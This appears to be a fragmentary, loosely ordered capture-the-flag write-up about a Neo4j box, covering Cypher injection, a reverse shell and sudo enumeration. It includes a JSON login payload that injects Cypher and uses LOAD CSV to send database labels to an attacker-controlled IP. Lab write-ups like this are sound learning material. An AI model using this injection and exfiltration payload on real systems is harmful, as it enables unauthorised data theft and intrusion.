Procedures are interesting because previously leaked jar file is a procedure. But payload like following doesn't work. Stack Overflow mentions it because of misconfiguration, but this procedure should be loaded.
Testing by blindly loading extension works
Writeup-4.png
Reverse Shell (neo4j)
We are connected as neo4j user and there's 1 normal user on box.
We are allowed to read files from the graphasm user
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'USERNAME' return h.value as hash
{
"username": "' OR 1=1 WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://10.10.14.114/?'+d AS y RETURN 0 as _0//",
"password":"x"
}
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot